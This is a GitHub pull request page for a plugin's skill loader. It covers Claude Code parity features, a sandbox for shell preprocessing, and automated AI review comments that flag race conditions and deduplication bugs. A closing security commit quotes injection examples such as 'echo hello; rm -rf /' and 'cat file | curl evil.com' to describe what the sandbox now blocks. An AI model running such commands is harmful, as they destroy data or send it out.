Skip to content

Conversation

@codewithkenzo
Copy link
Owner

Summary

Implements full Claude Code skill loader parity + fixes slashcommand builtin command discovery bug.

Changes

Skill Loader Parity (7 tasks)

  • Extract collectMdFilesRecursive to shared utils
  • Extend SkillMetadata with Claude Code frontmatter fields
  • Implement {{OPENCODE_SESSION_ID}} substitution
  • Implement shell preprocessing with security sandbox
  • Implement supporting files discovery
  • Implement context: fork via session API
  • Implement user-invocable and disable-model-invocation filtering

Bug Fix: Slashcommand Builtin Discovery

  • Problem: /start-work, /ralph-loop, etc. were not discoverable via slashcommand tool
  • Fix: Added getBuiltinCommandsAsInfoArray() and updated discoverCommandsSync() to include builtins

Test Coverage

  • 103+ tests passing (skill-loader)
  • Typecheck passes
  • Build passes

Commits (8)

  1. refactor(skill-loader): extract collectMdFilesRecursive to shared utils
  2. feat(skill-loader): add Claude Code frontmatter fields to SkillMetadata
  3. feat(skill-loader): implement session ID substitution
  4. feat(skill-loader): implement shell preprocessing with security sandbox
  5. feat(skill-loader): implement supporting files discovery
  6. feat(skill-loader): implement context fork via session API
  7. feat(skill-loader): implement user-invocable and model-invocation filtering
  8. fix(slashcommand): include builtin commands in slash command discovery

Gladdonilli and others added 30 commits January 14, 2026 17:33
- Reset startedAt on resume to prevent immediate false completion
- Release concurrency immediately on completion with double-release guard
- Clean up pendingByParent on session.deleted to prevent stale entries
- Add pendingByParent cleanup to ALL completion paths (session.idle, polling, stability)
- Add null guard for task.parentSessionID before Map access
- Add consistency guard in prune function (set concurrencyKey = undefined)
- Remove redundant setTimeout release (already released at completion)
- Add pendingByParent cleanup in pruneStaleTasksAndNotifications
- Add double-release guard in launch error handler (L170)
- Add concurrency release in resume error handler (L326)
Extract duplicated 8-line pendingByParent cleanup pattern into a
reusable helper method. Reduces code duplication across 5 call sites.

Addresses cubic-dev-ai feedback on PR code-yeongyu#736.
- Add prominent notice about Anthropic's third-party OAuth restriction
- Include disclaimer about oauth spoofing tools in community
- Clarify project has no custom oauth implementations
- Update version reference to 3.0.0-beta.6
- Add GitHub Copilot section to table of contents
Instead of using stale parentModel/parentAgent from task state, now
dynamically looks up the current message to get fresh model/agent values.
Applied across all prompt injection points:
- background-agent notifyParentSession
- ralph-loop continuation
- sisyphus-orchestrator boulder continuation
- sisyphus-task resume

🤖 Generated with [OhMyOpenCode](https://github.com/code-yeongyu/oh-my-opencode) assistance
- Add Q&A format TL;DR section for clarity
- Restructure existing OAuth notice with '詳細'/'详细说明' headers
- Remove unrelated librarian model notice
- Add Q&A format TL;DR section for clarity
- Restructure existing OAuth notice with FULL header
- Combine and simplify Q&A about Claude subscription usage
- Remove separate OAuth implementation question
- Clarify: technically possible but not recommended
- frontend-ui-ux-engineer, document-writer, multimodal-looker, explore
  now use Copilot models when no native providers available
- Category overrides (visual-engineering, artistry, writing) also use
  Copilot models as fallback
- Priority: native providers (Gemini/Claude) > Copilot > free models
- Login guide moved to bottom with GitHub Copilot auth option added

🤖 Generated with [OhMyOpenCode](https://github.com/code-yeongyu/oh-my-opencode) assistance
…ndling

- Add word boundary to ulw/ultrawork regex to prevent false matches on substrings like 'StatefulWidget' (fixes code-yeongyu#779)
- Handle object type in parseArguments to prevent [object Object] JSON parse error (fixes code-yeongyu#747)
- Add test cases for word boundary behavior
Add Kotlin LSP server (kotlin-ls) to the built-in servers catalog,
syncing with OpenCode's server.ts. Includes:
- BUILTIN_SERVERS entry with kotlin-lsp command
- LSP_INSTALL_HINTS entry pointing to GitHub repo
- Extensions: .kt, .kts (already in EXT_TO_LANG)

Co-authored-by: justsisyphus <sisyphus-dev-ai@users.noreply.github.com>
…ion-requirement

Update README with Bun installation requirement
…y-and-skill-mcp-args

fix: ulw keyword word boundary and skill_mcp parseArguments object handling
…gration-do-not-prune-agent-overrides

fix(migration): normalize Orchestrator-Sisyphus name
…lback warning

- Change model priority: user override > parent model > category default
- Add ModelFallbackInfo to track model resolution type
- Show warning toast when category uses inherited or default model
- Add tests for model fallback info in task toast
…l resolved model

The previous detection checked if parentModelString exists, but the
resolution uses a ?? chain where default may win over parent. Now
compares actualModel against each source to correctly identify type.

Fixes: model toast incorrectly showing 'inherited' when default was used
…k-retry

feat(hooks): add sisyphus-task-retry hook for auto-correction
Add support for connecting to remote MCP servers via HTTP in addition to
the existing stdio (local process) connections. This enables skills to
use cloud-hosted MCP servers and aggregated MCP gateways.

## Changes

- Extend SkillMcpManager to detect connection type from config:
  - Explicit `type: "http"` or `type: "sse"` → HTTP connection
  - Explicit `type: "stdio"` → stdio connection
  - Infer from `url` field → HTTP connection
  - Infer from `command` field → stdio connection

- Add StreamableHTTPClientTransport from MCP SDK for HTTP connections
  - Supports custom headers for authentication (e.g., API keys)
  - Proper error handling with helpful hints

- Maintain full backward compatibility with existing stdio configurations

## Usage

```yaml
# HTTP connection (new)
mcp:
  remote-server:
    url: https://mcp.example.com/mcp
    headers:
      Authorization: Bearer ${API_KEY}

# stdio connection (existing, unchanged)
mcp:
  local-server:
    command: npx
    args: [-y, @some/mcp-server]
```

## Tests

Added comprehensive tests for:
- Connection type detection (explicit type vs inferred)
- HTTP URL validation and error messages
- Headers configuration
- Backward compatibility with stdio configs
- Remove hardcoded "anthropic/claude-sonnet-4-5" fallback
- Fetch systemDefaultModel from client.config.get() at tool boundary
- Add 'category-default' and 'system-default' fallback types
- Use switch(actualModel) for cleaner type detection
- Add guard clauses and fail-loud validation for invalid models
- Wrap config fetch in try/catch for graceful degradation
- Update toast messages with typed suffixMap
Add mocks for HTTP transport to avoid real network calls during tests.
This addresses reviewer feedback about test reliability:
- Tests are now faster (no network latency)
- Tests are deterministic across environments
- Test intent is clearer (unit testing error handling logic)

The mock throws immediately with a controlled error message,
allowing tests to validate error handling without network dependencies.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
…itance

feat(sisyphus-task): inherit parent model for categories and show fal…
…gent-edge-cases

fix(background-agent): address edge cases in task lifecycle
Fix syntax error where expect().rejects.toThrow() was not properly closed
before the headers assertion.
sisyphus-dev-ai and others added 13 commits January 20, 2026 16:04
- Remove chatgpt option from CLI args and types
- Remove ChatGPT prompt from TUI installer flow
- Update config detection to not include hasChatGPT
- Update related tests
…el selection

- Remove temperature from all categories
- Consolidate CATEGORY_MODEL_CATALOG into DEFAULT_CATEGORIES
- Replace 'general' and 'most-capable' with 'unspecified-low' and 'unspecified-high'
- Add Selection_Gate to unspecified categories to force deliberate selection
- Update quick category to use claude-haiku-4-5
- Update all references and tests across codebase
- Rename SisyphusOrchestratorHookOptions → AtlasHookOptions
- Rename createSisyphusOrchestratorHook → createAtlasHook
- Update hook name in schema: sisyphus-orchestrator → atlas
- Update all documentation references
- Rename image: orchestrator-sisyphus.png → orchestrator-atlas.png
…tegory

- Delete document-writer.ts agent file
- Remove from types, schema, utils, index exports
- Remove tool restrictions entry
- Remove migration mappings
- Update atlas.ts to use category="writing" instead of agent="document-writer"
- Update init-deep command template
- Update all documentation (AGENTS.md, README.*, docs/)
- Regenerate schema.json

document-writer functionality is now handled via delegate_task with
category="writing" which uses the writing category's model config.
…ilder

- Delete frontend-ui-ux-engineer.ts (use category="visual-engineering" + skills instead)
- Rename sisyphus-prompt-builder.ts → dynamic-agent-prompt-builder.ts
- Update sisyphus.ts imports for renamed module

Frontend UI/UX work now handled via delegate_task with
category="visual-engineering" and skills=["frontend-ui-ux"].
…erited model

Previously, when using categories like 'quick', the parent session's model
(e.g., Opus 4.5) would override the category's built-in model (e.g., Haiku).

Fixed priority: userConfig.model → category built-in → systemDefault

The inherited model from parent session no longer affects category-based
delegation - categories have their own explicit models.
Sisyphus and Atlas prompts were missing delegation guide because
availableCategories and availableSkills were not being passed to
createSisyphusAgent() and createAtlasAgent() in utils.ts.

This caused buildCategorySkillsDelegationGuide() to return empty string,
resulting in agents not knowing when/how to delegate to explore, librarian,
or use category+skills based delegation.
Adds optional is_unstable_agent boolean field to CategoryConfigSchema.
When enabled (or auto-detected for gemini models), forces background
mode for monitoring stability even when run_in_background=false.
Detects unstable agents via is_unstable_agent config or gemini in model
name. Forces background mode even when run_in_background=false, with
system message explaining the forced conversion for monitoring.
Adds test coverage for variant propagation from DEFAULT_CATEGORIES
to background tasks when no user categories are defined.
Auto-generated documentation update reflecting recent changes.
@codewithkenzo
Copy link
Owner Author

@greptileai review

Add {{OPENCODE_SESSION_ID}} placeholder substitution for skills that need
to create subagent sessions via the session API. The substitution
replaces placeholder with actual sessionId from HookInput, enabling
context fork capabilities per Claude Code parity.
Add $(shell:command) syntax processing for skills. Commands execute in
a security sandbox with timeout, output limits, cwd restriction to skill
directory, and shell escaping. Integrated into loader.ts to process
skill bodies before template generation.
Add discovery of non-.md files in skill directories with metadata
(path, size, extension). Applies safety limits (20 files max, 1MB per
file, 10MB total). Adds <supporting-files> section to skill template
for model awareness of available resources.
Add context:fork support for skills that need to run in isolated sessions.
When a skill has context: 'fork' in frontmatter, it spawns a new session
via client.session.create, sends the skill body, and waits for completion
using stability detection. Includes nested fork prevention via atomic
Set-based tracking.
…tering

Add forCommandListing option to discoverSkills() to filter out skills
with user-invocable: false. Add skill-invocation-filter hook that blocks
model invocation of skills with disable-model-invocation: true unless
initiated via slash command. Session tracking via markSessionAsSlashCommand
with 5s auto-cleanup.
Previously, builtin commands (start-work, ralph-loop, etc.) were only
registered with OpenCode's command system but not discoverable via the
slashcommand tool. This meant /start-work would not appear in listings
and could not be invoked.

- Add getBuiltinCommandsAsInfoArray() to convert builtin commands to CommandInfo
- Update discoverCommandsSync() to include builtin commands
- Pass disabled_commands config to filter disabled builtins
@codewithkenzo codewithkenzo force-pushed the feat/skill-loader-parity branch from 2ff4ebc to bcd899e Compare January 20, 2026 23:16
…vercel compatibility

Add support for both ~/.config/opencode/skill/ (singular, oh-my-opencode convention)
and ~/.config/opencode/skills/ (plural, vercel-labs/add-skill convention).

This enables seamless interoperability with vercel-labs/add-skill which uses
the plural 'skills' directory convention.

Ref: vercel-labs/add-skill#54
@greptile-apps
Copy link

greptile-apps bot commented Jan 20, 2026

Greptile Summary

  • Implements Claude Code skill loader parity with 7 new features: shell preprocessing with security sandbox, supporting files discovery, session ID substitution, context forking via session API, and user-invocable/model-invocation filtering
  • Fixes slashcommand builtin command discovery bug where /start-work, /ralph-loop commands were not discoverable via the slashcommand tool by adding getBuiltinCommandsAsInfoArray() function
  • Adds comprehensive test coverage with 103+ tests for all new features following project's BDD conventions with proper test isolation and cleanup

Important Files Changed

Filename Overview
src/features/opencode-skill-loader/loader.ts Missing deduplication logic for dual skill/skills path loading, causing potential duplicate skill registration
src/features/opencode-skill-loader/async-loader.ts Partial parity implementation missing shell preprocessing and supporting files features that exist in sync loader
src/hooks/skill-invocation-filter/index.ts Race condition: 5-second auto-cleanup timer conflicts with skills taking longer than 5 seconds to execute
src/features/opencode-skill-loader/shell-preprocessing.ts Security-critical shell command sandbox implementation with allowlist validation and output limits

Confidence score: 3/5

  • This PR has significant functionality gaps and race conditions that could cause production issues
  • Score lowered due to: missing deduplication logic in loader.ts causing duplicate skills, async/sync loader parity gaps creating inconsistent behavior, and race condition in skill-invocation-filter where cleanup timer interferes with long-running skills
  • Pay close attention to src/features/opencode-skill-loader/loader.ts for the duplicate skill loading issue and src/hooks/skill-invocation-filter/index.ts for the timing race condition

Sequence Diagram

sequenceDiagram
    participant User
    participant "Auto Slash Command Hook" as Hook
    participant "Slash Command Executor" as Executor
    participant "Builtin Commands" as BuiltinCmds
    participant "Skill Loader" as SkillLoader
    participant "Session API" as Session

    User->>Hook: "User types /start-work project-setup"
    Hook->>Hook: "detectSlashCommand()"
    Hook->>Executor: "executeSlashCommand(parsed)"
    Executor->>Executor: "discoverAllCommands()"
    Executor->>BuiltinCmds: "getBuiltinCommandsAsInfoArray()"
    BuiltinCmds-->>Executor: "builtin commands list"
    Executor->>SkillLoader: "discoverAllSkills()"
    SkillLoader-->>Executor: "skills list"
    Executor->>Executor: "findCommand('start-work')"
    Executor->>Executor: "formatCommandTemplate()"
    Executor-->>Hook: "success with replacement text"
    Hook->>Hook: "markSessionAsSlashCommand()"
    Hook->>Hook: "replace message with template"
Loading

Copy link

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Additional Comments (1)

  1. src/tools/skill/tools.ts, line 1433-1445 (link)

    logic: Polling checks currentMsgCount then session.status(), but messages could arrive between these calls. If new message arrives after count check but before status check, could incorrectly mark as complete.

22 files reviewed, 6 comments

Edit Code Review Agent Settings | Greptile

Comment on lines 89 to 104
const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
: ''

const skillName = data.name || defaultName
const originalDescription = data.description || ""
const isOpencodeSource = scope === "opencode" || scope === "opencode-project"
const formattedDescription = `(${scope} - Skill) ${originalDescription}`

const wrappedTemplate = `<skill-instruction>
Base directory for this skill: ${resolvedPath}/
File references (@path) in this skill are relative to this directory.
${body.trim()}
${body.trim()}${mergedContent}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

logic: async-loader.ts missing shell preprocessing and supporting files features that exist in loader.ts:70-86. Skills loaded via async path won't have !command`` substitution or &lt;supporting-files&gt; section.

Suggested change
const processedBody = await preprocessShellCommands(body, resolvedPath)
const frontmatterMcp = parseSkillMcpConfigFromFrontmatter(content)
const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath)
const mcpConfig = mcpJsonMcp || frontmatterMcp
const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
: ''
const supportingFiles = await discoverSupportingFiles(resolvedPath)
const supportingFilesSection = supportingFiles.length > 0
? '\n<supporting-files>\n' +
supportingFiles.map(f => `${f.relativePath} (${formatSize(f.sizeBytes)})`).join('\n') +
'\n</supporting-files>\n\n'
: ''
const skillName = data.name || defaultName
const originalDescription = data.description || ""
const isOpencodeSource = scope === "opencode" || scope === "opencode-project"
const formattedDescription = `(${scope} - Skill) ${originalDescription}`
const wrappedTemplate = `<skill-instruction>
Base directory for this skill: ${resolvedPath}/
File references (@path) in this skill are relative to this directory.
${supportingFilesSection}${processedBody.trim()}${mergedContent}
</skill-instruction>
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/async-loader.ts
Line: 89:104

Comment:
**logic:** `async-loader.ts` missing shell preprocessing and supporting files features that exist in `loader.ts:70-86`. Skills loaded via async path won't have `!`command`` substitution or `&lt;supporting-files&gt;` section.

```suggestion
    const processedBody = await preprocessShellCommands(body, resolvedPath)
    const frontmatterMcp = parseSkillMcpConfigFromFrontmatter(content)
    const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath)
    const mcpConfig = mcpJsonMcp || frontmatterMcp

    const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
    const mergedContent = subdirFiles.length > 0
      ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
        subdirFiles.map(f => f.content).join('\n\n')
      : ''

    const supportingFiles = await discoverSupportingFiles(resolvedPath)
    const supportingFilesSection = supportingFiles.length > 0
      ? '\n<supporting-files>\n' +
        supportingFiles.map(f => `${f.relativePath} (${formatSize(f.sizeBytes)})`).join('\n') +
        '\n</supporting-files>\n\n'
      : ''

    const skillName = data.name || defaultName
    const originalDescription = data.description || ""
    const isOpencodeSource = scope === "opencode" || scope === "opencode-project"
    const formattedDescription = `(${scope} - Skill) ${originalDescription}`

    const wrappedTemplate = `<skill-instruction>
Base directory for this skill: ${resolvedPath}/
File references (@path) in this skill are relative to this directory.
${supportingFilesSection}${processedBody.trim()}${mergedContent}
</skill-instruction>
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +7 to +9
export function markSessionAsSlashCommand(sessionId: string): void {
slashCommandSessions.add(sessionId)
setTimeout(() => slashCommandSessions.delete(sessionId), 5000)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

logic: 5s auto-cleanup creates race if skill invocation takes >5s. Session marked as slash-command at line 1299 (auto-slash-command/index.ts), but cleared here before tool.execute.before check at line 39-45. Skill will be blocked incorrectly.

Suggest increasing timeout to 60s or clearing on tool completion instead of timer. What's the typical max duration for skill tool execution in production?

Prompt To Fix With AI
This is a comment left during a code review.
Path: src/hooks/skill-invocation-filter/index.ts
Line: 7:9

Comment:
**logic:** 5s auto-cleanup creates race if skill invocation takes &gt;5s. Session marked as slash-command at line 1299 (`auto-slash-command/index.ts`), but cleared here before `tool.execute.before` check at line 39-45. Skill will be blocked incorrectly.

Suggest increasing timeout to 60s or clearing on tool completion instead of timer. What's the typical max duration for skill tool execution in production?

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines 103 to 121
for (let i = 0; i < processLimit; i++) {
const match = matches[i]
const fullMatch = match[0]
const command = match[1]

if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) {
result = result.replace(fullMatch, '[COMMAND_BLOCKED: exceeds max length]')
continue
}

const { allowed, binary } = isCommandAllowed(command)
if (!allowed) {
result = result.replace(fullMatch, `[COMMAND_BLOCKED: ${binary} not permitted]`)
continue
}

const output = await executeCommand(command, skillDir)
result = result.replace(fullMatch, output)
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

logic: Sequential replacement with replace() can corrupt output if command output contains the next match pattern. E.g., if !echo 'Next: !cat file``'`` and !`cat file`` both exist, first replacement breaks second match.

Suggested change
for (let i = 0; i < processLimit; i++) {
const match = matches[i]
const fullMatch = match[0]
const command = match[1]
if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) {
result = result.replace(fullMatch, '[COMMAND_BLOCKED: exceeds max length]')
continue
}
const { allowed, binary } = isCommandAllowed(command)
if (!allowed) {
result = result.replace(fullMatch, `[COMMAND_BLOCKED: ${binary} not permitted]`)
continue
}
const output = await executeCommand(command, skillDir)
result = result.replace(fullMatch, output)
}
for (let i = 0; i < processLimit; i++) {
const match = matches[i]
const fullMatch = match[0]
const command = match[1]
if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) {
replacements.push({ original: fullMatch, replacement: '[COMMAND_BLOCKED: exceeds max length]' })
continue
}
const { allowed, binary } = isCommandAllowed(command)
if (!allowed) {
replacements.push({ original: fullMatch, replacement: `[COMMAND_BLOCKED: ${binary} not permitted]` })
continue
}
const output = await executeCommand(command, skillDir)
replacements.push({ original: fullMatch, replacement: output })
}
// Apply all replacements at once to avoid conflicts
for (const { original, replacement } of replacements) {
result = result.replace(original, replacement)
}
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/shell-preprocessing.ts
Line: 103:121

Comment:
**logic:** Sequential replacement with `replace()` can corrupt output if command output contains the next match pattern. E.g., if `!`echo 'Next: !`cat file``'`` and `!`cat file`` both exist, first replacement breaks second match.

```suggestion
  for (let i = 0; i < processLimit; i++) {
    const match = matches[i]
    const fullMatch = match[0]
    const command = match[1]
    
    if (command.length > SHELL_SECURITY.MAX_COMMAND_LENGTH) {
      replacements.push({ original: fullMatch, replacement: '[COMMAND_BLOCKED: exceeds max length]' })
      continue
    }
    
    const { allowed, binary } = isCommandAllowed(command)
    if (!allowed) {
      replacements.push({ original: fullMatch, replacement: `[COMMAND_BLOCKED: ${binary} not permitted]` })
      continue
    }
    
    const output = await executeCommand(command, skillDir)
    replacements.push({ original: fullMatch, replacement: output })
  }
  
  // Apply all replacements at once to avoid conflicts
  for (const { original, replacement } of replacements) {
    result = result.replace(original, replacement)
  }
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +42 to +45
const timeout = setTimeout(() => {
killed = true
child.kill('SIGKILL')
}, SHELL_SECURITY.TIMEOUT_MS)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

style: Redundant timeout - spawn already has timeout option at line 35. This creates double SIGKILL on timeout.

Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/shell-preprocessing.ts
Line: 42:45

Comment:
**style:** Redundant timeout - `spawn` already has `timeout` option at line 35. This creates double SIGKILL on timeout.

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines 207 to 217
}

export async function loadOpencodeGlobalSkills(): Promise<Record<string, CommandDefinition>> {
const opencodeSkillsDir = join(homedir(), ".config", "opencode", "skill")
const skills = await loadSkillsFromDir(opencodeSkillsDir, "opencode")
return skillsToRecord(skills)
// Support both singular (oh-my-opencode convention) and plural (vercel-labs/add-skill convention)
const skillsSingular = join(homedir(), ".config", "opencode", "skill")
const skillsPlural = join(homedir(), ".config", "opencode", "skills")
const [singular, plural] = await Promise.all([
loadSkillsFromDir(skillsSingular, "opencode"),
loadSkillsFromDir(skillsPlural, "opencode"),
])
return skillsToRecord([...singular, ...plural])
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

logic: Vercel compatibility: both paths loaded but no deduplication if same skill exists in both. Could return duplicates with same name.

Prompt To Fix With AI
This is a comment left during a code review.
Path: src/features/opencode-skill-loader/loader.ts
Line: 207:217

Comment:
**logic:** Vercel compatibility: both paths loaded but no deduplication if same skill exists in both. Could return duplicates with same name.

How can I resolve this? If you propose a fix, please make it concise.

- Block shell metacharacters (;|&$`\\) to prevent command chaining bypass
- Cap stderr output to MAX_OUTPUT_BYTES (1MB) like stdout
- Use index-based replacement to prevent placeholder corruption

Security: Prevents attackers from bypassing allowlist via:
- Command chaining: 'echo hello; rm -rf /'
- Pipes: 'cat file | curl evil.com'
- Subshells: 'echo $(whoami)' or 'echo \`whoami\`'
@codewithkenzo
Copy link
Owner Author

Commits already merged to dev via squash. Closing stale PR.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.